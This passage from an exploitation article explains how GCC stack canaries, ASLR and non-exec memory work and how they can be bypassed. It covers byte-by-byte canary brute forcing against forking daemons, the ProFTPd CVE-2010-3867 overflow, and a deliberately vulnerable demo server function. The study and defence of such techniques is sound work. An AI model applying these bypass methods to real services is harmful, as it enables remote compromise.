even if the attacker overwrites the metadata and is able to change the
|
|
program flow, he doesn't know where the next instructions (shellcode,
|
|
library functions) are. The idea is simple and effective. ASLR is enabled
|
|
by default on linux kernel since linux 2.6.12.
|
|
|
|
*) Stack canaries (canaries of the death)
|
|
|
|
This is a compiler mechanism, in contrast to previously kernel-based
|
|
described techniques. When a function is called, the code inserted by the
|
|
compiler in its prologue stores a special value (the so-called cookie) on
|
|
the stack before the metadata. This value is a kind of defender of
|
|
sensitive data. During the epilogue the stack value is compared with the
|
|
original one and if they are not the same then a memory corruption must
|
|
have occurred. The program is then killed and this situation is reported in
|
|
the system logs. Details about technical implementation and little arm race
|
|
between protection and bypassing protection in this area will be explained
|
|
further.
|
|
|
|
|
|
--[ 3. The stack cookies problem
|
|
|
|
--[ 3.1. A story of cookie protection
|
|
|
|
There were / are many of its implementations. Some of them are better while
|
|
others are worse. Definitely the best implementation is SSP (Stack Smashing
|
|
Protector), also known as ProPolice which is our topic and has been
|
|
included in gcc since version 4.x.
|
|
|
|
How do those canaries work? At the time of creating the stack frame, the
|
|
so-called canary is added. This is a random number. When a hacker triggers
|
|
a stack overflow bug, before overwriting the metadata stored on the stack
|
|
he has to overwrite the canary. When the epilogue is called (which removes
|
|
the stack frame) the original canary value (stored in the TLS, referred by
|
|
the gs segment selector on x86) is compared to the value on the stack. If
|
|
these values are different SSP writes a message about the attack in the
|
|
system logs and terminate the program.
|
|
|
|
When a program is compiled with SSP, the stack is setup in this way:
|
|
|
|
|
|
| ... |
|
|
-------------------------------
|
|
| N - Argument for function |
|
|
-------------------------------
|
|
| N-1 - Argument for function |
|
|
-------------------------------
|
|
| ... |
|
|
-------------------------------
|
|
| 2 - Argument for function |
|
|
-------------------------------
|
|
| 1 - Argument for function |
|
|
-------------------------------
|
|
| Return Address |
|
|
-------------------------------
|
|
| Frame Pointer |
|
|
-------------------------------
|
|
| xxx |
|
|
-------------------------------
|
|
| Canary |
|
|
-------------------------------
|
|
| Local Variables |
|
|
-------------------------------
|
|
| ... |
|
|
|
|
|
|
What is an 'xxx' value? So... It is very common that gcc adds some padding
|
|
on the stack. In compilers of the 3.3.x and 3.4.x versions it is usually
|
|
20 bytes. It prevents exploiting off-by-one bugs. This article is not about
|
|
this solution either, but we should be aware of that.
|
|
|
|
The reordering issue
|
|
--------------------
|
|
|
|
Bulba and Kil3r published a technique in their phrack article [1] on how to
|
|
bypass this security protection, if the local variables are in this kind of
|
|
configuration:
|
|
|
|
---------------------------------------------------------------------------
|
|
int func(char *arg) {
|
|
|
|
char *ptr;
|
|
char buf[MAX];
|
|
|
|
...
|
|
|
|
memcpy(buf,arg,strlen(arg));
|
|
|
|
...
|
|
|
|
strcpy(ptr,arg);
|
|
|
|
...
|
|
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
In this situation we don't need to overwrite the canary value. We can
|
|
simply overwrite the ptr pointer with the return address. Since it's used
|
|
as the destination pointer of a memory copy then we can set what we want
|
|
and where we want (which includes the return address) without touching the
|
|
canary:
|
|
|
|
|
|
| ... |
|
|
-------------------------------
|
|
| arg - Argument for function |
|
|
-------------------------------
|
|
----> | Return Address |
|
|
| -------------------------------
|
|
| | Frame Pointer |
|
|
| -------------------------------
|
|
| | xxx |
|
|
| -------------------------------
|
|
| | Canary |
|
|
| -------------------------------
|
|
---- | char *ptr |
|
|
-------------------------------
|
|
| char buf[MAX-1] |
|
|
-------------------------------
|
|
| char buf[MAX-2] |
|
|
-------------------------------
|
|
| ... |
|
|
-------------------------------
|
|
| char buf[0] |
|
|
-------------------------------
|
|
| ... |
|
|
|
|
|
|
In this kind of situation, if an attacker can directly (or not) modify a
|
|
pointer, the canaries of the death may fail!
|
|
|
|
In fact SSP is much more complicated and advanced than other
|
|
implementations of the canaries of the death (e.g. StackGuard). Indeed SSP
|
|
also uses some heuristic to order the local variables on the stack.
|
|
|
|
For example, imagine the following function:
|
|
|
|
---------------------------------------------------------------------------
|
|
int func(char *arg1, char *arg2) {
|
|
|
|
int a;
|
|
int *b;
|
|
char c[10];
|
|
char d[3];
|
|
|
|
memcpy(c,arg1,strlen(arg1));
|
|
*b = 5;
|
|
memcpy(d,arg2,strlen(arg2));
|
|
return *b;
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
In theory the stack should more or less look like that:
|
|
|
|
(d[..]) (c[..]) (*b) (a) (...) (FP) (IP)
|
|
|
|
But SSP changes the order of the local variables and the stack will instead
|
|
look like this:
|
|
|
|
(*b) (a) (d[..]) (c[..]) (...) (FP) (IP)
|
|
|
|
Of course SSP always adds the canary. Now the stack looks really bad from
|
|
the attacker's point of view:
|
|
|
|
|
|
| ... |
|
|
-------------------------------
|
|
|arg1 - Argument for function |
|
|
-------------------------------
|
|
|arg2 - Argument for function |
|
|
-------------------------------
|
|
| Return Address |
|
|
-------------------------------
|
|
| Frame Pointer |
|
|
-------------------------------
|
|
| xxx |
|
|
-------------------------------
|
|
| Canary |
|
|
-------------------------------
|
|
| char c[..] |
|
|
-------------------------------
|
|
| char d[..] |
|
|
-------------------------------
|
|
| int a |
|
|
-------------------------------
|
|
| int *b |
|
|
-------------------------------
|
|
| Copy of arg1 |
|
|
-------------------------------
|
|
| Copy of arg2 |
|
|
-------------------------------
|
|
| ... |
|
|
|
|
|
|
SSP always tries to put all buffers close to the canary, while pointers as
|
|
far from the buffers as it can. The arguments of the function are also
|
|
copied in a special place on the stack so that the original arguments are
|
|
never used.
|
|
|
|
With such a reordering the chances to overwrite some pointers to modify
|
|
the control flow seem low. It looks like an attacker doesn't have any other
|
|
option than a mere bruteforce to exploit stack overflow bugs, does he? :)
|
|
|
|
The limitations of SSP
|
|
----------------------
|
|
|
|
Even SSP is not perfect. There are some 'special' cases when SSP can't
|
|
create a 'safe frame'. Here are some of the known situations:
|
|
|
|
*) SSP does NOT protect each buffer separately. When data on the stack is
|
|
reordered in a safe way we can still overwrite the buffer by another
|
|
buffer. If there are many buffers, all of them will be put close to each
|
|
other. We can imagine the situation when a buffer, which is before
|
|
another buffer, can overwrite it. If there are data used by the
|
|
application for the control flow in the overflown buffer, then a door is
|
|
open and depending on the program it may be possible to exploit this
|
|
control.
|
|
|
|
*) If we have structures or classes, SSP will NOT reorder the arguments
|
|
inside of this data area.
|
|
|
|
*) If the function accepts a variable number of arguments (such as
|
|
*printf()) then SSP will not know how many arguments to expect. In this
|
|
situation the compiler will not be able to copy the arguments in a safe
|
|
location.
|
|
|
|
*) If the program uses the alloc() function or extends the standard C
|
|
language on how to create a dynamic array (e.g. char tab[size+5]) SSP
|
|
will place all this data on top of the frame. People interested in
|
|
dynamic arrays should read andrewg's phrack paper on the subject [13].
|
|
|
|
*) In most cases, when the application "plays" with virtual functions
|
|
in C++, it is hard to create a 'secure frame' - for detailed
|
|
information please read reference [2].
|
|
|
|
**) Some distributions (like Ubuntu 10.04) have a canary which is masked by
|
|
value 0x00FFFFFF. The NULL byte will be always there.
|
|
|
|
**) StackGuard v2.0.1 always uses the static canary 0x000AFF0D. These bytes
|
|
weren't chosen randomly. The 0x00 byte is for stopping the copy of
|
|
strings arguments. The 0x0A byte is the 'new line' and it can stop
|
|
reading bytes by function like *gets(). The byte 0xFF and 0x0D ('\r')
|
|
can sometimes stop copying process too. If you check the value of
|
|
terminator canary generated by SSP on non system-V you will discover it
|
|
is almost the same. StackGuard add also the byte '\r' (0x0D) which SSP
|
|
doesn't.
|
|
|
|
---[ 3.2 - The canary security
|
|
|
|
Beginning from the gcc version 4.1 stage2 [6], [7] the Stack Smashing
|
|
Protector is included by default. Gcc developers reimplemented IBM Pro
|
|
Police Stack Detector. Let's look at its implementation under the loupe.
|
|
We need to determine:
|
|
|
|
*) If the canary is really random
|
|
*) If the address of the canary can be leaked
|
|
|
|
The runtime protection
|
|
-----------------------
|
|
|
|
If we look inside a protected function we can find the following code
|
|
added by SSP to the epilogue:
|
|
|
|
---------------------------------------------------------------------------
|
|
0x0804841c <main+40>: mov -0x8(%ebp),%edx
|
|
0x0804841f <main+43>: xor %gs:0x14,%edx
|
|
0x08048426 <main+50>: je 0x804842d <main+57>
|
|
0x08048428 <main+52>: call 0x8048330 <__stack_chk_fail@plt>
|
|
---------------------------------------------------------------------------
|
|
|
|
This code retrieves the local canary value from the stack and compares it
|
|
with the original one stored in the TLS. If the values are not the same,
|
|
the function __stack_chk_fail() takes control.
|
|
|
|
The implementation of this function can be found in GNU C Library code in
|
|
file "debug/stack_chk_fail.c"
|
|
|
|
---------------------------------------------------------------------------
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
extern char **__libc_argv attribute_hidden;
|
|
|
|
void
|
|
__attribute__ ((noreturn))
|
|
__stack_chk_fail (void)
|
|
{
|
|
__fortify_fail ("stack smashing detected");
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
What is important is that this function has the attribute "noreturn". That
|
|
means (obviously) that it never returns. Let's look deeper and see how. The
|
|
definition of the function __fortify_fail() can be found it in file
|
|
"debug/fortify_fail.c"
|
|
|
|
---------------------------------------------------------------------------
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
extern char **__libc_argv attribute_hidden;
|
|
|
|
void
|
|
__attribute__ ((noreturn))
|
|
__fortify_fail (msg)
|
|
const char *msg;
|
|
{
|
|
/* The loop is added only to keep gcc happy. */
|
|
while (1)
|
|
__libc_message (2, "*** %s ***: %s terminated\n",
|
|
msg, __libc_argv[0] ?: "<unknown>");
|
|
}
|
|
libc_hidden_def (__fortify_fail)
|
|
---------------------------------------------------------------------------
|
|
|
|
So __fortify_fail() is a wrapper around the function __libc_message()
|
|
which in turn calls abort(). There is indeed no way to avoid it.
|
|
|
|
The initialisation
|
|
-------------------
|
|
|
|
Let's have a look at the code of the Run-Time Dynamic Linker in
|
|
"etc/rtld.c". The canary initialisation is performed by the function
|
|
security_init() which is called when the RTLD is loaded (the TLS was init
|
|
by the init_tls() function before):
|
|
|
|
---------------------------------------------------------------------------
|
|
static void
|
|
security_init (void)
|
|
{
|
|
/* Set up the stack checker's canary. */
|
|
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard ();
|
|
#ifdef THREAD_SET_STACK_GUARD
|
|
THREAD_SET_STACK_GUARD (stack_chk_guard);
|
|
#else
|
|
__stack_chk_guard = stack_chk_guard;
|
|
#endif
|
|
|
|
[...] // pointer guard stuff
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
The canary value is created by the function _dl_setup_stack_chk_guard(). In
|
|
original implementation published by IBM it was the function __guard_setup.
|
|
|
|
Depending on the operating system, the function _dl_setup_stack_chk_guard()
|
|
is either defined in file "sysdeps/unix/sysv/linux/dl-osinfo.h" or in file
|
|
"sysdeps/generic/dl-osinfo.h"
|
|
|
|
If we go to the UNIX System V definition of the function we will find:
|
|
|
|
---------------------------------------------------------------------------
|
|
static inline uintptr_t __attribute__ ((always_inline))
|
|
_dl_setup_stack_chk_guard (void)
|
|
{
|
|
uintptr_t ret;
|
|
#ifdef ENABLE_STACKGUARD_RANDOMIZE
|
|
int fd = __open ("/dev/urandom", O_RDONLY);
|
|
if (fd >= 0)
|
|
{
|
|
ssize_t reslen = __read (fd, &ret, sizeof (ret));
|
|
__close (fd);
|
|
if (reslen == (ssize_t) sizeof (ret))
|
|
return ret;
|
|
}
|
|
#endif
|
|
ret = 0;
|
|
unsigned char *p = (unsigned char *) &ret;
|
|
p[sizeof (ret) - 1] = 255;
|
|
p[sizeof (ret) - 2] = '\n';
|
|
return ret;
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
If the macro ENABLE_STACKGUARD_RANDOMIZE is enabled, the function open the
|
|
device "/dev/urandom", read sizeof(uintptr_t) bytes and return them.
|
|
Otherwise of if this operation is not successful, a terminator canary is
|
|
generated. First it put the value 0x00 in the variable ret. Next it changes
|
|
two bytes to the value 0xFF and 0xa. Finally the terminator canary will
|
|
always be 0x00000aff.
|
|
|
|
Now if we go to the definition of function _dl_setup_stack_chk_guard()
|
|
for other operating systems we see:
|
|
|
|
---------------------------------------------------------------------------
|
|
#include <stdint.h>
|
|
|
|
static inline uintptr_t __attribute__ ((always_inline))
|
|
_dl_setup_stack_chk_guard (void)
|
|
{
|
|
uintptr_t ret = 0;
|
|
unsigned char *p = (unsigned char *) &ret;
|
|
p[sizeof (ret) - 1] = 255;
|
|
p[sizeof (ret) - 2] = '\n';
|
|
p[0] = 0;
|
|
return ret;
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
So this function always generates a terminator canary value.
|
|
|
|
Conclusion
|
|
----------
|
|
|
|
Either the canary is fully random and unpredictable (assuming /dev/urandom
|
|
is safe which is a fair assumption) or it's constant and weak (weaker than
|
|
stackguard) but nontheless troublesome in some kind of situations.
|
|
|
|
The storage of its value is dependant on the TLS which itself is not at
|
|
fixed location (and the virtual address is never leaked in the code thanks
|
|
to the segment selector trick) which means that it could hardly be leaked.
|
|
|
|
|
|
---[ 3.3 - Exploiting canaries remotely
|
|
|
|
Usually networks daemons create a new thread by calling clone() or a new
|
|
process by calling fork() to support a new connection. In the case of
|
|
fork() and depending on the daemon, the child process may or may not call
|
|
execve() which means that it will be in one the two situations:
|
|
|
|
|
|
1. without execve()
|
|
|
|
[mother]
|
|
--------> accept()
|
|
| |
|
|
| | <- new connection
|
|
| |
|
|
| fork()
|
|
| | |
|
|
| mother | | child
|
|
-----------| |
|
|
|
|
|
read()
|
|
|
|
|
...
|
|
...
|
|
|
|
2. with execve()
|
|
[mother]
|
|
--------> accept()
|
|
| |
|
|
| | <- new connection
|
|
| |
|
|
| fork()
|
|
| | |
|
|
| mother | | child
|
|
-----------| |
|
|
|
|
|
execve()
|
|
|
|
|
|
|
|
read()
|
|
|
|
|
...
|
|
...
|
|
|
|
Note 1: OpenSSH is a good example of the second example.
|
|
Note 2: Of course there is also the possibility that the server is using
|
|
select() instead of accept(). In such case, there is of course no fork().
|
|
|
|
As stated by the man page:
|
|
|
|
*) the fork() system call creates a duplicate of the calling process which
|
|
means that father and child share a same canary as this is a
|
|
per-process-canary and not a per-function-canary mechanism. This is an
|
|
interesting property as if for each attempt we were able to guess a little
|
|
of the canary then with a finite number of guesses we would be successful.
|
|
|
|
*) when execve() is called "text, data, bss, and stack of the calling
|
|
process are overwritten by that of the program loaded." This implies that
|
|
the canary is different for each child. As a result, being able to guess a
|
|
little of the child canary is most likely useless as this will result in a
|
|
crash and any result wouldn't be applicable to the next child.
|
|
|
|
Considering 32-bits architecture, the number of possible canaries is up to
|
|
2^32 (2^24 on Ubuntu) which is around 4 billions (respectively 16 millions)
|
|
which is impossible to test remotely while feasible locally in a few hours.
|
|
|
|
What should one do? Ben Hawkes [9] suggested an interesting method: brute
|
|
forcing with a byte-by-byte technique which is much more effective. When
|
|
can we use it? As we have mentioned, the canary does not change while
|
|
fork()'ing whereas with execve() it does. As a result guessing one byte
|
|
after an other requires that the fork() is not followed by an execve()
|
|
call.
|
|
|
|
Here is the stack of the vulnerable function:
|
|
|
|
| ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. |
|
|
|
|
P - 1 byte of buffer
|
|
C - 1 byte of canary
|
|
|
|
First, we overwrite the first byte of canary and we check when the program
|
|
ends with an error and when does not. It could be done in several ways.
|
|
Hawkes proposed to estimate the program's answer time: whenever it misses
|
|
the canary's byte, the program ends immediately. When the canary's byte
|
|
matches, the program will still run, so its ending time is much longer than
|
|
in the first case. We do not necessarily have to use that technique. It
|
|
often happens that after calling the function, the server (daemon) sends us
|
|
back some responses as the result of an operation. All we need to do is to
|
|
check whether an expected data is received by the socket. If it is the
|
|
expected one, it means we've got the correct canary's byte and we can move
|
|
to the next one.
|
|
|
|
Because 1 byte can have 256 different values at most, it becomes a relative
|
|
calculus. Knowing the first byte's value, we have to guess 256 different
|
|
possibilities for the following bytes which means that the whole cookie
|
|
could be guessed in 4*256 = 1024 combinations which is reasonable.
|
|
|
|
Here is the drawing of the four steps (each being a particular byte guess):
|
|
|
|
First byte:
|
|
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. |
|
|
|
|
Second byte:
|
|
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. |
|
|
|
|
Third byte:
|
|
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. |
|
|
|
|
Fourth byte:
|
|
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. |
|
|
|
|
|
|
When the attack is finished, we know that the canary's value is XYZA. With
|
|
this knowledge we are then able to continue the attack of the application.
|
|
Overwriting data, we put the canary's value in the canary's location. Since
|
|
the canary is overwritten by its original value, the memory corruption is
|
|
not detected.
|
|
|
|
The easiest and simplest way to find the canary's location is nothing else
|
|
than testing. If we know that we can overwrite a 100 bytes buffer, we
|
|
actually send a fake packet with 101 bytes length and we check the answer
|
|
in the same way as we did while discussing theory of breaking the canary's
|
|
value. If the program does NOT crash, it means that we have overwritten
|
|
something else than the canary with high probability (we could also have
|
|
overwritten the first byte of the canary with the correct value).
|
|
Continuing to increase the amount of overwritten bytes, the program will
|
|
finally stop running so we will know where the canary's value begins.
|
|
|
|
Mitigation
|
|
----------
|
|
|
|
When will this technique not work? Every time we can't fully control the
|
|
overwritten bytes. For example you may not be able to control the last
|
|
character of your buffer or you may be have to deal with filtering (if NULL
|
|
bytes are prohibited then it's over).
|
|
|
|
A good example of such a situation is the latest pre-auth ProFTPd bug
|
|
(CVE-2010-3867) discovered by TJ Saunders. The bug lies in the parsing of
|
|
TELNET_IAC chars because of miscalculated end of reading loop. Let's look
|
|
at this bug closer.
|
|
|
|
The problem lies in the function pr_netio_telnet_gets() from the file
|
|
"src/netio.c":
|
|
|
|
---------------------------------------------------------------------------
|
|
char *pr_netio_telnet_gets(char *buf, size_t buflen,
|
|
pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
|
|
char *bp = buf;
|
|
|
|
...
|
|
|
|
[L1] while (buflen) {
|
|
|
|
...
|
|
|
|
toread = pr_netio_read(in_nstrm, pbuf->buf,
|
|
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
|
|
...
|
|
|
|
[L2] while (buflen && toread > 0 && *pbuf->current != '\n'
|
|
&& toread--) {
|
|
...
|
|
if (handle_iac == TRUE) {
|
|
switch (telnet_mode) {
|
|
case TELNET_IAC:
|
|
switch (cp) {
|
|
|
|
...
|
|
...
|
|
|
|
default:
|
|
|
|
...
|
|
|
|
*bp++ = TELNET_IAC;
|
|
[L3] buflen--;
|
|
|
|
telnet_mode = 0;
|
|
break;
|
|
}
|
|
...
|
|
}
|
|
}
|
|
|
|
*bp++ = cp;
|
|
[L4] buflen--;
|
|
}
|
|
...
|
|
...
|
|
*bp = '\0';
|
|
return buf;
|
|
}
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
The loop [L2] reads and parses the bytes. Each time it decrements buflen
|
|
[L4]. A problem exists when TELNET_IAC character comes (0xFF). When this
|
|
character occurs in the parsing buflen is decremented [L3]. As a result in
|
|
this situation, buflen is decremented by 2 which is perfect to bypass an
|
|
inappropriate check in [L1]. Indeed, when buflen == 1 if the parsed
|
|
character is TELNET_IAC then buflen = 1 - 2 = -1. As a result, the
|
|
"while (buflen && " condition of [L1] holds and the copy continues (until
|
|
an '\n' is found).
|
|
|
|
The function pr_netio_telnet_gets() is called by function pr_cmd_read()
|
|
from file "src/main.c":
|
|
|
|
---------------------------------------------------------------------------
|
|
int pr_cmd_read(cmd_rec **res) {
|
|
static long cmd_bufsz = -1;
|
|
char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};
|
|
|
|
...
|
|
|
|
while (TRUE) {
|
|
|
|
...
|
|
|
|
if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
|
|
session.c->outstrm) == NULL) {
|
|
|
|
...
|
|
|
|
}
|
|
|
|
...
|
|
...
|
|
|
|
return 0;
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
In this case the argument for the vulnerable function is a local buffer on
|
|
the stack. So this is a classical stack buffer overflow bug. In theory all
|
|
conditions are met to bypass pro-police canary using the byte-by-byte
|
|
technique. But if we look closer to the vulnerable function we see this
|
|
code:
|
|
|
|
*bp = '\0';
|
|
|
|
... which break the idea of using a byte-by-byte attack. Why? Because we
|
|
can never control the last overflowed byte which is always 0x00, only the
|
|
penultimate.
|
|
|
|
Additionally, the 'byte-by-byte' method requires that all children have a
|
|
same canary. This is not possible if the children are calling execve() as
|
|
explained earlier. In such a situation, a bruteforce attack is quite
|
|
unlikely to succeed. Of course we could try to guess 3 bytes each time if
|
|
we had a lot of time... but it would means a one shot attack afterward
|
|
since multiplying the complexity of both attempts would require too much
|
|
time.
|
|
|
|
Finally, grsecurity provides an interesting security feature to prevent
|
|
this kind of exploitation. Considering the fact that the bruteforce will
|
|
necessarily result in the crash of children, then a child dying with SIGILL
|
|
(such as if PaX killed it for example) is highly suspicious. As a result,
|
|
while in do_coredump() the kernel set a flag in the parent process using
|
|
the gr_handle_brute_attach() function. The next forking attempt of the
|
|
parent will then be delayed. Indeed in do_fork() the task is set in the
|
|
TASK_UNINTERRUPTIBLE state and put to sleep for (at least) 30s.
|
|
|
|
---------------------------------------------------------------------------
|
|
+void gr_handle_brute_attach(struct task_struct *p)
|
|
+{
|
|
+#ifdef CONFIG_GRKERNSEC_BRUTE
|
|
+ read_lock(&tasklist_lock);
|
|
+ read_lock(&grsec_exec_file_lock);
|
|
+ if (p->p_pptr && p->p_pptr->exec_file == p->exec_file)
|
|
+ p->p_pptr->brute = 1;
|
|
+ read_unlock(&grsec_exec_file_lock);
|
|
+ read_unlock(&tasklist_lock);
|
|
+#endif
|
|
+ return;
|
|
+}
|
|
+
|
|
+void gr_handle_brute_check(void)
|
|
+{
|
|
+#ifdef CONFIG_GRKERNSEC_BRUTE
|
|
+ if (current->brute) {
|
|
+ set_current_state(TASK_UNINTERRUPTIBLE);
|
|
+ schedule_timeout(30 * HZ);
|
|
+ }
|
|
+#endif
|
|
+ return;
|
|
+}
|
|
---------------------------------------------------------------------------
|
|
|
|
While this mechanism has its limit (SIGILL is the only signal to trigger
|
|
the delay), it proves itself effective to slow down an attacker.
|
|
|
|
|
|
--[ 4 - A few words about the other protections
|
|
|
|
When the daemon is forking without calling execve() we can bypass SSP
|
|
because we can discover the "random" value of the canary, but we still have
|
|
to deal with non-exec memory and ASLR.
|
|
|
|
Executable Space Protection
|
|
---------------------------
|
|
|
|
The 10th of August 1997 Solar Designer's post in bugtraq mailing list
|
|
introduced the ret-into-libc attack which allows to bypass non-exec memory
|
|
restriction [11]. The technique was later enhanced by nergal in his phrack
|
|
paper [10] in which he introduced many new and now well known concepts
|
|
still in use nowadays such as:
|
|
|
|
*) Chaining. The consecutive call of several functions. [10] describes
|
|
the necessary stack layout to perform such a thing on x86. The
|
|
concept was later extended to other architectures and "gadgets"
|
|
(ROP) were introduced.
|
|
|
|
*) The use of mprotect() which was introduced as a counter measure
|
|
against PaX and still effective on some systems (though not on PaX
|
|
itself).
|
|
|
|
*) dl-resolve() which allows to call functions of the shared library
|
|
even when they don't have an entry in the PLT.
|
|
|
|
Ok - so we know the technique that we should use to bypass non-executable
|
|
memory but we still have a few problems. We don't know the address of the
|
|
function that should be called (typically a system()-like) and the address
|
|
of the argument(s) for this function.
|
|
|
|
At that point as an attacker you may have three solutions:
|
|
|
|
*) You can try to bruteforce. Obviously and as stated many times, you
|
|
should only bruteforce the strict necessary which is usually an
|
|
offset from which you can deduce the missing addresses. Interesting
|
|
information though a bit outdated on how you could perform this are
|
|
given in [12].
|
|
|
|
*) You find some way to perform an info leak. Depending on the
|
|
situation this can be tricky (though not always) especially on
|
|
modern systems where daemons are often compiled as PIE binaries. For
|
|
example on recent Ubuntu, by default most daemons are PIE binaries.
|
|
As a result, it's no more possible to use fixed address in the
|
|
code/data segment of the program.
|
|
|
|
*) You can exploit the memory layout to find some clever way to reduce
|
|
the amount of parameters to guess. Depending on the context, a deep
|
|
study of the program may be necessary.
|
|
|
|
The important thing to remember is that there is no generic technique, a
|
|
clever bug exploitation is highly dependant of the context induced by the
|
|
program itself. This is especially true with modern memory protections.
|
|
|
|
ASLR: Taking advantage of fork()
|
|
--------------------------------
|
|
|
|
As explained earlier the address space of the child process is a copy of
|
|
its parent. However this is no longer the case if the child performs an
|
|
execve() as the process is then completely reloaded and the address space
|
|
is then totally unpredictable because of the ASLR.
|
|
|
|
From a mathematical point of view, guessing an address is a:
|
|
- sampling without replacement (in fork() only situations)
|
|
- sampling with replacement (in fork() followed by execve() situation)
|
|
|
|
In the case of PIE network daemons, you have at least two distincts sources
|
|
of entropy:
|
|
|
|
*) the cookie: 24 bits or 32 bits on 32 bit OS
|
|
*) the ASLR: 16 bits for mmap() randomization with PaX (in PAGEEXEC
|
|
case) on 32 bit OS
|
|
|
|
(Last claim is proved by the following patch extract)
|
|
|
|
---------------------------------------------------------------------------
|
|
+#ifdef CONFIG_PAX_ASLR
|
|
+ if (current->mm->pax_flags & MF_PAX_RANDMMAP) {
|
|
+ current->mm->delta_mmap = (pax_get_random_long()
|
|
& ((1UL << PAX_DELTA_MMAP_LEN)-1)) << PAGE_SHIFT;
|
|
+ current->mm->delta_stack = (pax_get_random_long()
|
|
& ((1UL << PAX_DELTA_STACK_LEN)-1)) << PAGE_SHIFT;
|
|
+ }
|
|
+#endif
|
|
|
|
+#define PAX_DELTA_MMAP_LEN (current->mm->pax_flags
|
|
& MF_PAX_SEGMEXEC ? 15 : 16)
|
|
+#define PAX_DELTA_STACK_LEN (current->mm->pax_flags
|
|
& MF_PAX_SEGMEXEC ? 15 : 16)
|
|
---------------------------------------------------------------------------
|
|
|
|
Note: ET_DYN object randomization is performed using the delta_mmap offset.
|
|
We will see in chapter 5 that we need to guess this parameter.
|
|
|
|
Now the main idea is that without execve() the expected number of trials to
|
|
perform the attack is the sum of the number of attempts required to guess
|
|
the canary and the memory layout. With execve() it's their product.
|
|
|
|
Example:
|
|
|
|
Exploiting the proftpd bug on an Ubuntu 10.04 + PaX with:
|
|
- no byte-by-byte
|
|
- no execve()
|
|
- cookie has a null byte
|
|
- binary is compiled as PIE
|
|
|
|
It should require an average of 2^24 + 2^16 attempts (if binary is PIE).
|
|
From a complexity point of view, we could say that guessing both values is
|
|
as hard as guessing the cookie.
|
|
|
|
Note: Last minute update. It seems that proftpd is not compiled as PIE in
|
|
common distributions/Unix (according to many exploits targets).
|
|
|
|
|
|
---[ 5. Hacking the PoC
|
|
|
|
As a proof of these scribbles let's study and exploit an example of a
|
|
vulnerable server (complete code is in appendix). A trivial stack overflow
|
|
was emulated in the following function:
|
|
|
|
---------------------------------------------------------------------------
|
|
int vuln_func(char *args, int fd, int ile) {
|
|
|
|
char buf[100];
|
|
memset(buf, 0, sizeof buf);
|
|
|
|
if ( (strncmp(args,"vuln",4)) == 0) { [L1]
|
|
#ifdef __DEBUG
|
|
stack_dump("BEFORE", buf); [L2]
|
|
#endif
|
|
write(fd,"Vuln running...\nCopying bytes...",32);
|
|
memcpy(buf,args+5,ile-5); [L3]
|
|
#ifdef __DEBUG
|
|
stack_dump("AFTER", buf); [L4]
|
|
#endif
|
|
write(fd,"\nDONE\nReturn to the main loop\n",30); [L5]
|
|
return 1;
|
|
}
|
|
|
|
else if ( (strncmp(args,"quit",4)) == 0) {
|
|
write(fd,"Exiting...\n",11);
|
|
return 0;
|
|
}
|
|
|
|
else {
|
|
write(fd,"help:\n",6);
|
|
write(fd," [*] vuln <args>\n",17);
|
|
write(fd," [*] help\n",10);
|
|
write(fd," [*] quit\n",10);
|
|
return 1;
|
|
}
|
|
}
|
|
---------------------------------------------------------------------------
|
|
|
|
Let's analyze a bit this function:
|
|
|
|
*) The bug is triggered when an attacker supplies a "vuln XXXXX" with
|
|
a large enough "XXXXX" (> 100 bytes). [L1, L3]
|
|
|
|
*) The attacker is fully able to control his payload without
|
|
restrictions (no payload filtering, no overflow restriction)
|
|
|
|
*) When the overflow takes place, we possibly overwrite some local
|
|
variables which may induce a bug in [L5] and possibly crash the
|
|
program.
|
|
|
|
Note: Because of the fork(), debugging can be tedious. As a result I added
|
|
a function to leak the stack layout in a file both before and after the
|
|
overflow.
|
|
|
|
The program was compiled with -fstack-protector-all and -fpie -pie which
|
|
means that we will have to exploit the program with:
|
|
|
|
*) Non exec + full ASLR (code and data segments are also randomized)
|
|
*) Stack canary
|
|
*) Ascii armored protection
|
|
|
|
Depending on the Unix target, some of these protections may or may not be
|
|
effective. However we will assume that they are all activated.
|
|
|
|
Taking advantage of fork()
|
|
--------------------------
|
|
|
|
The first process of the exploitation is obviously to guess the stack
|
|
cookie. As said earlier, fork() will grant us children with the same
|
|
address space. As a result we will be able to guess the cookie with the
|
|
technique described in 3.3 which allows us to arbitrary overwrite anything
|
|
(including of course the saved EIP).
|
|
|
|
In a second time, we need to find an address in which returning. One of the
|
|
best solution is to return into a function of the .text which would
|
|
generate some network activity. However the server is a PIE binary thus an
|
|
ET_DYN ELF object. As a result, the address of this function has to be
|
|
guessed.
|
|
|
|
Now assuming that we have the original binary (fair assumption), the offset
|
|
of the function is known which means that we only need to bruteforce the
|
|
load address of the ELF object. Since such an address is aligned on
|
|
PAGE_SIZE basis, on a 32bits architecture the 12 less significant bits are
|
|
all 0.
|
|
|
|
For example consider the following code:
|
|
|
|
10be: e8 fc ff ff ff call 10bf <main+0x2f3>
|
|
10c3: c7 44 24 08 44 00 00 movl $0x44,0x8(%esp)
|
|
^^----------------------- last byte value. not randomised at all
|
|
^------------------------- last half value. bottom nibble is not
|
|
randomised
|
|
|
|
